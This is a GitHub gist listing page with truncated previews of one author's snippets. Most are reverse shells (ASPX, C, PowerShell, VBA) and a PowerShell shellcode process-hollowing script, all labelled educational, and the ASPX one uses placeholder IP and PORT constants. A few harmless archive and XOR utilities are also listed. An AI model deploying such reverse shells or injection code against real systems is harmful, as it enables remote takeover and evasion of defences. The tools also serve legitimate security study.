Skip to content

Instantly share code, notes, and snippets.

@qtc-de
qtc-de / aspx-reverse-shell.aspx
Last active January 30, 2022 15:27
Simple reverse shell for ASPX. Created a long time ago and now finally saved in this gist as a backup. For educational purposes only!
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<script runat="server">
// Simple reverse shell for ASPX. For educational purposes only!
const string IP = "<IP>";
const ushort PORT = <PORT>;
@qtc-de
qtc-de / unix-reverse-shell.c
Last active January 30, 2022 15:26
Simple Unix reverse shell. For educational purposes only!
/*
* Simple Unix reverse shell. For educational purposes only!
*
* Compile with:
* $ gcc unix-reverse-shell.c -o shell
*/
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
@qtc-de
qtc-de / windows-reverse-shell.c
Last active January 30, 2022 15:26
Simple Windows reverse shell. For educational purposes only!
/*
* Simple Windows reverse shell. For educational purposes only!
*
* Compile on Windows (developer prompt):
* C:\> cl windows-reverse-shell.c
*
* Compile on Linux (mingw):
* $ x86_64-w64-mingw32-gcc windows-reverse-shell.c -o shell.exe -lws2_32
*/
#include <winsock2.h>
@qtc-de
qtc-de / DynWin32-ReverseShell.ps1
Last active March 16, 2024 10:37
PowerShell reverse shell that uses dynamically resolved Win32 API functions
<#
DynWin32-ReverseShell.ps1 is a reverse shell based on dynamically looked up Win32 API calls.
The script uses reflection to obtain access to GetModuleHandle, GetProcAddress and CreateProcess.
Afterwards it uses GetModuleHandle and GetProcAddress to resolve the required WSA functions
from ws2_32.dll.
This script should be used for educational purposes only (and maybe while playing CTF :D).
It was only tested on Windows 10 (x64) and is probably not stable or portable. It's only
purpose is to demonstrate the usage of reflective lookups of Win32 API calls. See it as
@qtc-de
qtc-de / DynWin32-ShellcodeProcessHollowing.ps1
Created January 29, 2022 15:17
PowerShell implementation of shellcode based Process Hollowing that only relies on dynamically resolved Win32 API functions
<#
DynWin32-ShellcodeProcessHollowing.ps1 performs shellcode based process hollowing using
dynamically looked up Win32 API calls. The script obtains the methods GetModuleHandle,
GetProcAddress and CreateProcess by using reflection. Afterwards it utilizes GetModuleHandle
and GetProcAddress to obtain the addresses of the other required Win32 API calls.
When all required Win32 API calls are looked up, it starts svchost.exe in a suspended state
and overwrites the entrypoint with the specified shellcode. Afterwards, the thread is resumed
and the shellcode is executed enveloped within the trusted svchost.exe process.
@qtc-de
qtc-de / Win32-ReverseShell.vb
Last active May 25, 2023 13:49
VBA reverse shell that uses Win32 API calls
' ********************************************************************************************************
'
' VBA reverse shell that uses Win32 API calls. Most of the code was copied from the following resources:
'
' * https://stackoverflow.com/questions/8670391
' * https://stackoverflow.com/questions/43197814
' * https://renenyffenegger.ch/notes/development/languages/VBA/Win-API/examples/
'
' The code demonstrates more complex usage example for calling Win32 API from VBA and should be used
' for educational purpose only. During development I was mainly interested whether the WSAData or the
@qtc-de
qtc-de / swaperoo.py
Last active March 19, 2022 06:31
Swap the case of each ASCII letter within a string and print each possible combination to stdout.
#!/usr/bin/env python3
import string
import argparse
import itertools
from typing import Iterator
def swaperoo(target: str) -> Iterator[str]:
'''
@qtc-de
qtc-de / xor.py
Last active July 18, 2023 10:18
XOR All The Things! Python script that searches for byte representations within the specified file or input and xors them with the specified key.
#!/usr/bin/env python3
import re
import sys
import argparse
class Xor:
'''
Helper class for performing xor operations.
@qtc-de
qtc-de / findstring.sh
Created May 4, 2022 05:58
Search for strings within of zip or jar archives
#!/bin/bash
if ! command -v ugrep &> /dev/null;
then
echo "[-] Error: ugrep is not available, but required for this script."
exit 1
fi
function usage()
{
@qtc-de
qtc-de / findfile.sh
Created May 4, 2022 05:59
Find filenames within of zip or jar archives
#!/bin/bash
function usage()
{
NAME=$(basename $0)
echo "Usage: $NAME [filter] [path]"
echo ""
echo "Arguments:"
echo " filter regex filter that is applied to archive contents"